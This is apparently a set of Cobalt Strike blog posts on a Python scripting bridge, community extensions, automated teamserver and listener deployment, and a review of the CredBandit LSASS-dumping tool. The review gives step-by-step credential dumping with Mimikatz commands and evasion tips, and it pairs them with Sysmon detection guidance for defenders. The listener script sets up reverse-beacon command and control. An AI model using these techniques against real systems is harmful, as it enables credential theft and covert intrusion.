Cobalt Strike Sleep Python Bridge

This project started after seeing how the user community tweaks and tunes Cobalt Strike. I was inspired by @BinaryFaultline and @Mcgigglez16 in their project https://github.com/emcghee/PayloadAutomation and blog post http://blog.redxorblue.com/2021/06/introducing-striker-and-payload.html. They created a clever way to interact with a teamserver without the GUI.

Before I get too far, I’ll touch on Aggressor scripting and the Sleep language. Remember that Cobalt Strike is a framework and is extensible by design using the Aggressor script language. It allows users to modify or control the framework with a script that is loaded through the GUI or headless client. Aggressor provides a great deal of flexibility, but the Sleep language at the heart of Aggressor is how these extensions must be written.

What is this Sleep-Python Bridge?

This project is an experiment on extending Cobalt Strike with python instead of Aggressor or Sleep.

NOTE:
This project is very much in BETA. The goal is to provide a playground for testing and is in no way an officially supported feature. Perhaps this could be something added in the future to the core product.

How does this work?

The heart of this bridge is a python implementation of a headless Cobalt Strike client. This is achieved by using the Aggressor Script Console, provided by agscript, as the engine. Agscript allows for headless interaction with Cobalt Strike. The “bridge” works by using python helper functions in sleepy.py to generate the needed Sleep commands expected by the agscript console. Instead of writing the Sleep functions, striker.py provides helper functions that abstract Sleep and allows the use of python. In other words, this is a python wrapper to the console provided by agscript.

Notable changes from the original project

Because the PayloadAutomation project inspired this, it started with much of the same code, but I wanted to tweak to use the components needed to act as an agscript wrapper. This included:

  • Renaming from Payload_Automation to sleep_python_bridge. This project is more than payload generation.
  • Changing from a PyPI library to local modules. This was done for testing and may be a good candidate for a python library after extensive testing.
  • Updating and adding helpers to match Aggressor versions.
  • Adding ability to load external script.

What can you do with this “bridge?”

In short, anything you can do with Aggressor, you can do with this bridge via python: extract data, make operation decisions, automate beacon tasks, etc.

The best way to show what can be done is with a few examples.

Examples

Log Tracker

Beacon logs are available at runtime in a teamserver or through the Beacon log files saved on the teamserver. The data is always there, but may not be presented in a way you would like. This is an example of log tracker that uses an HTML data grid to quickly view Beacon logs.

beaconlogtracker.py is a script that connects to a teamserver, extracts the running Beacon logs every 30 seconds, saves to beaconlogs.json, and displays in a searchable and sortable HTML data grid.

Beacon logs are always saved to the logs directory, but this is an alternate way to track the in memory logs with an alternate viewer. If the teamserver is restarted the in-memory logs are lost and you must refer to the logs stored in the logs directory on the teamserver. This script keeps in-memory logs synced to the file beaconlogs.json. This way you have a quick and easy way to visualize all data without digging through the logs directory even if Cobalt Strike is restarted.

Start the script by having it connect to your teamserver to sync logs every 30 seconds:

beaconlogtracker.py

Although the GUI is not needed, you can see the client logged on and that it provides feedback as it collects logs:

Log tracker event logs

Video Demo

This demo shows the HTML data grid view. It uses the beaconlogs.json file created by the log tracker script as its data source. The data grid allows for quick sorting or filtering or Beacon logs. The output from long commands is truncated and can be expanded. This could be a nice alternate view for a Red Team operator or a Red Team lead.

Demo of the HTML log viewer

Payload Generator

A feature often requested by Red Team operators is the ability to create payloads programmatically without the need for the Cobalt Strike GUI. The project referenced at the beginning of the blog did this with a payload generator. This was great, but there is a unique challenge. Aggressor provides several hooks to influence how a payload is built. These hooks are used by the various kits (i.e., artifact kit, sleep mask kit, or UDRL kit). They are normally used by loading an Aggressor Script through the GUI. This project was extended to allow the loading of external scripts. Without this, using this payload hooks would be difficult. This code could easily be extended to pass the payloads to external functions to add custom obfuscation, embed in a customer loader, or any other modification.

The payload generator script connects to the teamserver, loads the additional scripts, and creates payloads.

payloadgenerator.py

Using the event log for output, the payload generator script displays its progress as it loads the various scripts.

Event log output

To keep this somewhat modular, the payload generator script uses a base payload_scripts.cna file as a script loader. This points to all the modules that should be loaded.

payload_scripts.cna used as an ‘init’ script to load other modules

Beacon Grapher

The script beacongrapher.py connects to a teamserver, extracts Beacon metadata, and creates a JSON file that is used to display a javascript directed graph. The connection and extraction of data is functional, but the directed graph is a simple example. It could be refined to be more useful in a production environment.

The Beacon grapher script connects to the teamserver and extracts the Beacon metadata as a python object to save to JSON.

beacongrapher.py

Here’s an HTML directed graph view of the Beacon log:

directed graph view of beacons

Video Demo

Demo of the beacon graph

What next?

Take a look at the project on GitHub. https://github.com/cobalt-strike/sleep_python_bridge

I’m providing this as an idea. Feel free to take this and expand upon it. I only ask the your share your work or ideas. Perhaps we can make this an official part of the product at some point in the future.

Thanks to the Community

I want to give a thanks to the Cobalt Strike Community for all the great work and ideas with a special thanks to @BinaryFaultline and @Mcgigglez16 on their work in the project, Payload Automation – https://github.com/emcghee/PayloadAutomation.

How to Extend Your Reach with Cobalt Strike 

We’re often asked, “what does Cobalt Strike do?” In simple terms, Cobalt Strike is a post-exploitation framework for adversary simulations and Red Teaming to help measure your security operations program and incident response capabilities. Cobalt Strike provides a post-exploitation agent, Beacon, and covert channels to emulate a quiet long-term embedded actor in a network.  

If we as security testers and red teamers continue to test in the same ways during each engagement, our audience (i.e., the defensive side) will not get much value out of the exercises. It’s important to be nimble. Cobalt Strike provides substantial flexibility for users to change their behavior and adapt just as an adversary does. For example, Malleable C2 is a Command and Control language that lets you modify memory and network indicators to control how Beacon looks and feels on a network.  

Cobalt Strike was designed to be multiplayer. One of its foundational features is its ability to support for multiple users to access multiple servers and share sessions. Enabling participation from users with different styles and skillsets further varies behavior to enrich engagements.   

While there are also numerous built-in capabilities, one of which we’ll discuss below, they are limited to what the team adds to the tool. One of our favorite features of Cobalt Strike is its user developed modules, through which many of the built-in limits are overcome. In fact, users are encouraged to extend its capabilities with complementary tools and scripts to tailor the engagements to best meet the organization’s needs. We wanted to highlight a few ways we’ve recently seen Cobalt Strike users doing just that to conduct effective assessments.   

Interoperability with Core Impact 

Contrary to many perceptions, Cobalt Strike is actually not a penetration testing tool. As we mentioned earlier, we identify as a tool for post-exploitation adversary simulations and Red Team operations. However, we have recently begun offering interoperability with Core Impact, which is a penetration testing tool with features that align well with those of Cobalt Strike.  

Core Impact is typically used for exploitation and lateral movement and validating the attack paths often associated with a penetration test. Used by both in-house teams as well as third-party services, Core Impact offers capabilities for remote, local, and client-side exploitation. Impact also uses post-exploitation agents, which, while they don’t have a cool name like “Beacon,” are versatile in both their deployment and capabilities, including chaining and pivoting.   

While a previous blog dives deeper into the particulars, to quickly summarize, the interoperability piece comes in the form of session passing between both platforms. Those with both tools can deploy Beacon from within Core Impact. Additionally, users can spawn an Impact agent from within Cobalt Strike. If you have Cobalt Strike and would like to learn more, we recommend requesting a trial of Core Impact to try it out. 

Integration with Outflank’s RedELK Tool 

RedELK is an open-source tool that has been described by its creators as a “Red Team’s SIEM.” This highly usable tool tracks and sends Red Teams alerts about the activities of a Blue Team by creating a centralized hub for all traffic logs from redirectors to be sent and enriched.  Gaining visibility into the Blue Team’s movements enables Red Teams to make judicious choices about their next steps. These insights help Red Teams create a better learning experience and ensure Blue Teams get the most out of their engagements. 

Additionally, it also centralizes and enriches all operational logs from teamservers in order to provide a searchable history of the operation, which could be particularly helpful for longer and larger engagements. This all sounds like an ideal integration for Cobalt Strike users, right? While the sub-header is a fairly large spoiler, it is nonetheless very exciting that RedELK does fully support the Cobalt Strike framework.  

Community Kit Extensions  

We can’t say enough good things about the user community. So many of you have written first-rate tools and scripts that have further escalated the power of Cobalt Strike—we feel like an artist’s muse and the art the community creates is amazing. However, many of these extensions are tricky to find, so not everyone has had the opportunity to take advantage and learn from them. In order to highlight all of this hard work, we’ve created the Community Kit. This central repository showcases projects from the user community to ensure that they’re more easily discovered by fellow  security professionals. 

We encourage you to check it out to see the fantastic work of your peers which can help take raise the level of your next security engagement and may even inspire you to create and submit your own. Check back regularly as new submissions are coming in frequently.  

A Dynamic Framework  

Cobalt Strike was intentionally built as an adaptable framework so that users could continually change their behavior in an engagement. However, this flexibility has also enabled both expected and unexpected growth of the tool itself. Planned additions like the interoperability with Core Impact allows users to benefit from session passing, while unanticipated extensions like those in the community kit are equally welcome, as they enable users to truly make the tool their own. Ultimately, we’re excited to see such dedication to this tool from all angles, as it motivates us all to keep advancing Cobalt Strike to the next level so users can keep increasing the value of every engagement.   

Want to learn more about Core Impact? 

Get information on other ways Core Impact and Cobalt Strike complement one another for comprehensive infrastructure protection. 

CredBandit (In memory BOF MiniDump) – Tool review – Part 1

One of the things I find fascinating about being on the Cobalt Strike team is the community. It is amazing to see how people overcome unique challenges and push the tool in directions never considered. I want explore this with CredBandit (https://github.com/xforcered/CredBandit). This tool has had updates since I started exploring. I’m specifically, looking at this version for this blog post.

 

In part 2, I ‘ll explore the latest version and how it uses an “undocumented” feature to solve the challenges discussed in this post.

 

Per the author:

CredBandit is a proof of concept Beacon Object File (BOF) that uses static x64 syscalls to perform a complete in memory dump of a process and send that back through your already existing Beacon communication channel. The memory dump is done by using NTFS transactions, which allows us to write the dump to memory. Additionally, the MiniDumpWriteDump API has been replaced with an adaptation of ReactOS’s implementation of MiniDumpWriteDump.
When you dig into this tool,  you will see that CredBandit is “just another minidump tool.” This is true, but there are some interesting approaches to this.
My interest in CredBandit is less from the minidump implementation but the “duct tape engineering” used to bend Beacon to anthemtotheego‘s will.

CredBandit uses an unconventional way of transferring in memory data through Beacon by overloading the BEACON_OUTPUT aggressor function to handle data sent from BeaconPrintf() function.

There are other interesting aspects to this project, namely:

    • Beacon Object File (BOF) using direct syscalls
    • In memory storage of data (The dump does not need to be written to disk)
    • ReactOS implementation of MiniDumpWriteDump
You can read more about the minidump technique here (T1003-001) or here (Dump credentials from lsass without mimikatz).

 

Note on the Defense Perspective

Although the focus on this post is to highlight an interesting way to bend Cobalt Strike to a user’s will, it does cover a credential dumping technique. Understanding detection opportunities of techniques vs. tools is an important concept in security operations. It can be helpful to highlight both the offense capabilities and defense opportunities of a technique. I’ve invited Jonny Johnson (https://twitter.com/jsecurity101) to add context to the detection story of this technique, seen below in the Detection Opportunities section.

Quick Start

Warning: BOFs run in Beacon’s memory. If they crash, Beacon crashes. The stability of this BOF may not be 100% reliable. Beacons may die. It’s something to consider if you choose to use this or any other BOF.

CredBandit is easy to use, but don’t that fool you into thinking it isn’t a clever approach to creating a minidump. All the hard work has been done, and you only need a few commands to use it.

The basic process is as follows:

  1. Clone the project: https://github.com/xforcered/CredBandit
  2. Compile CredBandit to a BOF
  3. Load the aggressor script in Cobalt Strike
  4. Launch a beacon running in context with the necessary permissions (i.e., high integrity process running as administrator)
  5. Locate the PID of LSASS
  6. Run CredBandit
  7. Wait …. 🙂
  8. Convert the CredBandit output into a usable dump
  9. Use Mimikatz to extract information from the dump

Consult the readme for details.

Let’s See This in Action

Load the aggressor script from the Cobalt Strike manager

Get the PID of LSASS

Interact with a beacon running with the permissions needed to dump LSASS memory and get the PID of LSASS.

An output of PS gives us a PID of 656.

 

Run CredBandit to capture the minidump of LSASS

Loading the MiniDumpWriteDump.cna aggressor script added the command credBandit to Beacon.

Running help shows we only need the PID of LSASS to use the command credBandit.

This will take time. Beacon may appear to be unresponsive, but it is processing the minidump and sending back chunks of data by hijacking the BeaconPrintf function. In this example, over 80mb in data must be transferred.

Once the Dump is complete, Beacon should return to normal. A word of caution: I had a few Beacons die after the process completed. The data was successfully transferred, but the Beacon process died. This could be due to the BOF being functional but missing error handling, but I did not investigate.

NOTE: The CredBandit aggressor script, MiniDumpWriteDump.cna, changed the behavior of BEACON_OUTPUT. This can cause other functions to fail. You should unload the script and restart the Cobalt Strike client or use RevertMiniDumpWriteDump.cna to reverse the changes.

Convert the extracted data to a usable format

The file dumpFile.txt is created in the cobaltstrike directory. This file is the result generated by  “highjacking” the BEACON_OUTPUT function to write the received chunks of data from the BeaconPrintf function.

Run the cleanupMiniDump.sh command to convert this file back into something useful:

./cleanupMiniDump.sh

You will now have two new files in the cobaltstrike directory: .dmp and .txt.

The .txt is a backup of the original dumpFile.txt.

The .dmp is the minidump file of LSASS.

Use Mimikatz to extract information from the dump

At this point, we are done with CredBandit. It provided the dump of LSASS. We can now use Mimikatz offline to extract information.

You can use something like the following commands:

mimikatz
mimikatz # sekurlsa::minidump c:\payloads\credBandit\lsass.dmp
mimikatz # sekurlsa::logonPasswords



BTW, dontstealmypassword

 


Demo

Here is a quick demo of the tool.

 


Breaking down the key concepts

Beacon Object File (BOF) using direct syscalls

Direct syscalls can provide a way of avoiding API hooking from security tools by avoiding the need for calling these APIs.

CredBandit uses much of work done by Outflank on using Syscall in Beacon Object Files. I won’t spend time on this but here are great resources:

In memory storage of data

The minidump output is stored in Beacon’s memory vs. being written to disk. This is based on using a minidump implementation that uses NTFS transactions to write to memory: https://github.com/PorLaCola25/TransactedSharpMiniDump

ReactOS implementation of MiniDumpWriteDump

MiniDumpWriteDump API is replaced with an adaptation of ReactOS’s implementation of MiniDumpWriteDump: https://github.com/rookuu/BOFs/tree/main/MiniDumpWriteDump

Unconventional way of transferring in memory data through Beacon via overloaded BeaconPrintf() function

This is what I find most interesting about this project. In short, the BEACON_OUTPUT aggressor function is used to send the base64 encode dump it receives as chunks from BeaconPrintf. These chunks are written to a file that can be cleaned up and decoded.

How does this hack work? It’s clever and simple. The BOF uses the BeaconPrintf function to send chunks of the base64 encoded minidump file to the teamserver. This data is captured and written to a file on disk.

The following is an example of the output file:

received output:
TURNUJOnAAAEAAAAIAAAAAAAAAAAAAAAIggAAAAAAAAHAAAAOAAAAFAAAAAEAAAAdCMAAIwAAAAJAAAAUCQAAMI6AAAAAAAAAAAAAAAAAAA...
received output:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABolPx/AAAA4AkACJUKAP2mu1yUJQAAvQTv/gAAAQAAAAcAAQDuQgAACgABAO5CPwAAAAA...
received output:
AAAAAAAAAAAAAAAAAAAAAAAAAAC5kPx/AAAAoA4A94kOABHEhU5sJwAAvQTv/gAAAQACAAYAAQDuQgAACgABAO5CPwAAAAAAAAAEAAQAAgA...
received output:
AAAAAAAAAAAAAAAYkfx/AAAAoAcADk4IABy/Gt86KQAAvQTv/gAAAQACAAYAAQDuQgAACgABAO5CPwAAAAAAAAAEAAQAAgAAAAAAAAAAAAA...

This minidump file is rebuilt using the script cleanupMiniDump.sh. Credential material can be extracted using Mimikatz.


 Adjusting the Technique

The heart of this technique is based on accessing and dumping LSASS. Instead of using the suspicious activity of payload.exe accessing lsass.exe, you could find a process that regularly accesses LSASS, inject into that process, and perform your dump.

The BOF (https://github.com/outflanknl/FindObjects-BOF) may help you locate a process that has a handle to lsass.exe using similar OPSEC as CredBandit by using a BOF and direct systems calls. FindObjects-BOF is “A Cobalt Strike Beacon Object File (BOF) project which uses direct system calls to enumerate processes for specific modules or process handles.

Give it a try!


Detection Opportunities

Although the focus on this post was to highlight an interesting way to bend Cobalt Strike to a user’s will, it does cover a credential dumping technique. Understanding detection opportunities of techniques vs. tools is an important concept in detection engineering. I’ve invited Jonny Johnson (https://twitter.com/jsecurity101) to provide context to the detection story of this technique.

Jonny’s detection note are in the left column, and I hae added my take in the right.

Detection Story by Jonny Joe’s comments
Before we can start creating our detection we must identify what is the main action of this whole chain – opening a handle to LSASS. That will be the core of this detection. If we detect on the tool or code specifically, then we lose detection visibility once someone creates another code that uses different functions. By focusing on the technique’s core behavior, we prevent manually creating a gap in our detection strategy. For this piece I am going to leverage Sysmon Event ID: 10 – Process Accessed. This event allows me to see the source process that was requesting access to the target process, the target process, the granted access rights (explained in a moment), along with both the source process GUID and target process GUID.

Sysmon Event ID 10 fires when OpenProcess is called, and because Sysmon is a kernel driver, it has insight into OpenProcess in both user-mode and kernel-mode. This particular implementation uses a syscall for NtOpenProcess within ntdll.dll, which is the Native API version of the Win32 API OpenProcess.

How is this useful?

 

Within the NtOpenProcess documentation, there is a parameter called DesiredAccess.This correlates to the ACCESS_MASK type, which is a bitmask. This access is typically defined by the function that wants to obtain a handle to a process. OpenProcess acts as a middle man between the function call and the target process. The function in this instance is MiniDumpWriteDump. Although ReactOS’s implementation of MiniDumpWriteDump is being used, we are still dealing with Windows securable objects (e.g. processes and files). Due to this, we must follow Windows built-in rules for these objects. Also, ReactOS’s MiniDumpWriteDump is using the exact same parameters as Microsoft’s MiniDumpWriteDump API.

 

Don’t overemphasize tools. Fundamentally, this technique is based on the detection a process accessing LSASS.

ReactOS’s MiniDumpWriteDump is using the exact same parameters as Microsoft’s MiniDumpWriteDump API.” It is important to focus on the technique’s primitives. There can be multiple implementations by different tools but the technique can often be broken down in to primitives.

Within Microsoft’s documentation, we can see that if MiniDumpWriteDump wants to obtain a handle to a process, it must have PROCESS_QUERY_IMFORMATION & PROCESS_VM_READ access to that process, which we can see is requested in the CredBandit source code below:

However, this still isn’t the minimum rights that a process needs to perform this action on another process. After reading Microsoft’s Process Security and Access Rights we can see that anytime a process is granted PROCESS_QUERY_IMFORMATION, it is automatically granted PROCESS_QUERY_LIMITED_IMFORMATION. This has a hex value of 0x1410 (this will be used in the analytic later).

Next, we want to see the file created via NtCreateTransacted. Sysmon uses a minifilter driver to monitor file system’s stacks indirectly, so it has insight into files being written to disk or a phantom file. One thing we have to be careful with is that we don’t know the extension the actor might have for the dump file. Bottom line: this is attacker-controlled and if we specify this into our analytic we risk creating a blind spot, which can lead to an analytical bypass.

Lastly, a little icing on the cake would be to add a process creation event to this analytic as it would just provide context around which user was leveraged for this activity.

Data Sources/Events:

User Rights:

Process Access:

File Creation:

  • Sysmon Event ID 11

Process Creation:

A detection strategy hypothesis should account for potential blind spots. Blind spots are not bad, but should be identified. https://posts.specterops.io/detection-in-depth-a2392b3a7e94

Analytics:

The following analytics are not meant to be copy and paste, but more of the beginning of detection for your environment. If you only look for the access rights 0x1410, then you will create a blind spot if an actor uses ReadProcessMemory to dump LSASS. Ideally, multiple detections would be made for dumping LSASS so that blind spots could be covered along the way.

Sysmon EID 10 Process Access

Regarding Detection:

Multiple combinations of access rights may be requested based on the implementation. Focus on a query to cover minimal rights needed. This will reduce blind spots based on a specific implementation.

Regarding OPSEC:

Notice that payload.exe is accessing lsass.exe. This is due to this implementation as a BOF running directly under the context of Beacon.

BOF and syscalls can be great, but maintain OPSEC awareness.

Sysmon EID 10 & EID 11

Sysmon EID 10, 11, & 1

Detection Summary

When writing a detection the first thing I do is identify the capabilities that a tool and/or technique has. This helps me narrow in on a scope. A piece of code could be implementing 3-4 techniques. When this happens, I separate these techniques and look into them separately. This allows me to create a detection strategy per capability.
When the capability is identified and the components being used are highlighted, proper scoping can be applied. We can see a commonality between this implementation and many others. That commonality is MiniDumpWriteDump and the access rights needed for that function call. This is the foundation of our detection or base condition. However, this could be evaded if an actor uses ReadProcessMemory because there are a different set of minimum access rights needed. A separate detection would need to be created for this function. This is ideal as it applies an overlap of our detection to cover the blind spots that are related to a technique.
Pulling attributes like file creation and process creation are contextual attributes that can be applied back to the core detection (MiniDump). The detection shouldn’t rely on these attributes because they are not guaranteed to be present.

Cobalt Strike is not inherently malicious. It is simply a way for someone to implement an action. The intent behind that action is what determines a classification of malicious or benign. Consequently, I don’t focus on Cobalt Strike specific signatures, I look at the behavior/technique being implemented.

I like how Palantir outlines a method for documenting detection strategies using their Alerting and Detection Strategy Framework (ADS).
Jonny Johnson (https://twitter.com/jsecurity101)

Thanks to https://twitter.com/anthemtotheego  for creating this tool.

Stay tuned for part 2 where I ‘ll talk about how the latest version uses an “undocumented” feature to download the minidump file instead of hijacking the BEACON_OUTPUT function.

 

Conclusion

Wait?!?! This post highlighted the need to ‘hack’ Cobalt Strike because of a lack of features.  Why isn’t this part of the toolset?

Cobalt Strike is a framework. It is meant to be tuned to fit a user’s need. Projects like this help expose areas that can be improved. This helps the team add new features, update documentation, or provide examples.

 

References

Detection References:

 

 

 

Manage Cobalt Strike with Services

This post is part of a “Quality of Life” series, where tips and tricks will be shared to make using Cobalt Stike easier. 

Cobalt Strike is a post-exploitation framework and requires customization to meet your specific needs. This flexibility is one of the most powerful features of Cobalt Strike. While this is great, some may find it challenging to quickly set up a teamserver. Even if you are only conducting quick tests, consider building an automated deployment process using something as simple as a bash script or something more complex like a DevOps process based on tools like Ansible or Terraform. 

This post covers the aspect of considering adding to a deployment process to enhance teamserver automation. It does not cover complete infrastructure design. Several people in the security community have posted excellent design guidance.

Teamserver and Listener Automation

This post explores the automation of:

  • auto-starting teamserver using a random custom malleable c2 profile
  • creating listeners using a headless aggressor script

This process needs three files:

  • teamserver.service (controls the teamserver as a Linux service)
  • listener. service (controls the auto-creation of listeners as a Linux service)
  • listener_service.cna (aggressor script that specifies the parameters for the listeners)

These templates can be found here: https://github.com/vestjoe/cobaltstrike_services

Steps

Summary

I’ll summarize the steps here, but you should integrate these steps into an infrastructure deployment plan in actual practice. I demo the results of a practical example at the end of the post. 

Note: These scripts have been tested on Ubuntu server and may need to be adjusted based on your actual use case.

  • Update the service files to match your environment.
    • teamserver.service
    • listener.service
    • listener_service.cna
  • Copy the service files to your teamserver host
    • /etc/systemd/system/teamserver.service
    • /etc/systemd/system/listener.service
    • /opt/cobaltstrike/listener_service.cna
  • Register the new services
    • systemclt daemon-reload
  • Start the services
    • systemctl start teamserver.service
    • systemctl start listener.service
  • Test that everything works

Step Details

Note: The following steps show the details, but should broken down into deployment steps (ansible, terraform, etc.) that fit your own process.

1) Update the Teamserver Service Configuration File

This file is used to configure teamserver as a Linux service.

Use the template below as a starting point. Update the settings to match your environment and save it to a temporary location. (I’m using /tmp for this demo)

Specifically, you should update: 

  • WorkingDirectory: Set to the cobaltstrike directory
  • ExecStart: Set with your teamserver parameters
## TEMPLATE START

# teamserver.service

[Unit]
Description=Cobalt Strike Teamserver Service
After=network.target
Wants=network.target

[Service]
Type=Simple
WorkingDirectory=/opt/cobaltstrike
ExecStart=/opt/cobaltstrike/teamserver <TEAMSERVER IP> <PASSWORD> <PATH TO C2 PROFILE>

# Example
# ExecStart=/opt/cobaltstrike/teamserver `hostname -I` thisismypassword /opt/cobaltstrike/c2.profile

[Install]
WantedBy=multi-user.target

## TEMPLATE END

The malleable c2 profile can be any you create. I like to use randomly generated profiles for quick tests. https://github.com/threatexpress/random_c2_profile

2) Update the Listener Service Configuration File

The listener service uses agscript to run a headless aggressor script as a service. If you are not familiar with agscript, take a look at “Headless Cobalt Strike” in the manual https://www.cobaltstrike.com/aggressor-script/index.html

Use the template below as a starting point. Update the settings to match your environment and save them to a temporary location. (I’m using /tmp for this demo)

Specifically, you should update:

  • WorkingDirectory: Set to the cobaltstrike directory
  • ExecStart: Set with the values you need to run the agscript
## TEMPLATE START
# listener.service
[Unit]
Description=Cobalt Strike aggressor service
After=teamserver.service network.target
Wants=teamserver.service
StartLimitIntervalSec=33

[Service]
Restart=on-failure
RestartSec=10
WorkingDirectory=/opt/cobaltstrike
ExecStartPre=/bin/sleep 60
ExecStart=/bin/bash /opt/cobaltstrike/agscript <TEAMSERVER IP> <TEAMSERVER PORT> <USER to LOGON TO COBALTSTRIKE> <TEAMSERVER PASSWORD> <PATH TO listener_service.cna>
# Example
# ExecStart=/bin/bash /opt/cobaltstrike/agscript 127.0.0.1 50050 listener_service thisismypassword /opt/cobaltstrike/listener_service.cna

[Install]
WantedBy=multi-user.target
## TEMPLATE END

Headless Aggressor Script

This example aggressor script is used to create and start an HTTP, HTTPS, and SMB listener with all the needed parameters. It is a regular aggressor script and can be loaded manually through the Cobalt Strike client or run headless using agscript. 

Use the template below as a starting point. Update the settings to match your environment and save them to a temporary location. (I’m using /tmp for this demo)

The script uses the listener_create_ext function. Take a look at the support documentation for additional options.

At a minimum, change the following to match your environment.

  • HTTP Listener
    • listener name
    • host
    • althost
  • HTTPS Listener
    • listener name
    • host
    • althost
  • SMB Listener
    • listener name
    • port
## TEMPLATE START
println("
###################################################################
 CobaltStrike Aggressor Script          
 Author: Joe Vest
 Description: Headless script to create listeners
###################################################################");

println('listener_service.cna: Loading listener_service.cna...');

on ready{
    println('listener_service.cna: Creating HTTP Listener...');
    listener_create_ext("HTTP", "windows/beacon_http/reverse_http", %(host => "iheartredteams.com", port => 80, beacons => "iheartredteams.com", althost => "iheartredteams.com", bindto => 80));

    println('listener_service.cna: Creating HTTPS Listener...');
    listener_create_ext("HTTPS", "windows/beacon_https/reverse_https", %(host => "iheartredteams.com", port => 443, beacons => "iheartredteams.com", althost => "iheartredteams.com", bindto => 443));
    
    println('listener_service.cna: Creating SMB Listener...');
    listener_create_ext("SMB", "windows/beacon_bind_pipe", %(port => "mojo.5887.8051.34782273429370473##"));

    sleep(10000);

}
## TEMPLATE END

Copy the Files to the Appropriate Location

sudo cp /tmp/teamserver.service /etc/systemd/system/teamserver.service
sudo cp /tmp/listener.service /etc/systemd/system/listener.service
sudo cp /tmp/listener_service.cna /opt/cobaltstrike/listener_service.cna

Register and Start the New Services

sudo systemclt daemon-reload
sudo systemctl start teamserver.service
sudo systemctl start listener.service

Test to Make Sure Everything is Working as Expected

Teamserver should be running, and the script should have created the listeners. If so, test a few payloads and commands to make sure everything works as expected.

Consider Adding this Process to an Infrastructure Deployment Process

These manual steps and templates provide a means to automate some of the Cobalt Strike but can be enhanced further through a more formal process.

For example, I do this in a couple of ways:

  • I use simple bash scripts and the AWS CLI to deploy and configure a test environment.
  • I create ansible roles to automate the deployment and configuration of a teamserver as part of a larger deployment script.

Demonstrating a Practical Example

In this demo, I show how I fully automate the deployment and configuration of the range I used for quick realistic testing to AWS LightSail. The deployment is fully automated and includes settings to protect the teamserver from direct public access. 

 

Range Highlights

The script results in a small test range that follows this traffic pattern

  1. Beacon reaches out to a valid Cloud front redirector. These cloud redirectors are really just HTTP proxies. (https://www.blackhillsinfosec.com/using-cloudfront-to-relay-cobalt-strike-traffic/)
  2. Traffic is redirected to the Apache redirector. (again, just another HTTP proxy that applies our logic)
  3. Apache forwards the HTTP to the teamserver.

Services Running

The agscript user logon event (listener_service) can be seen in the Event Log.

The listeners are automatically created based on the service settings.

References


 

Interested in Trying Cobalt Strike?

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Dirty Red Team Tricks II at Derbycon 2.0

Last year, I spoke on Dirty Red Team Tricks at Derbycon. This talk was a chance to share what I had used at the Collegiate Cyber Defense Competition events to go after student networks. During this talk, I emphasized red team collaboration and our use of scripts to automatically own Windows and UNIX systems. I also released the auto hack scripts at the event.

This year, I had a chance to update this talk and show what is different about this year. At this talk, I emphasized the use of bots and how they helped us play the game. I also talked about the use of asynchronous command and control to better hide our presence on student systems. I released Raven, the asynchronous C2 agent I developed for this year’s CCDC event. Raven is the prototype of Cobalt Strike’s Beacon feature. I also released a few other Cortana scripts discussed in the talk. This talk also covers a neat Windows persistence trick using DLL hijacking against explorer.exe.

Thanks to Adrian “irongeek” Crenshaw‘s amazing speed, I’m able to share both videos with you today. It’s best to watch both videos in order.

Let me know what I should cover in next year’s Dirty Red Team Tricks III.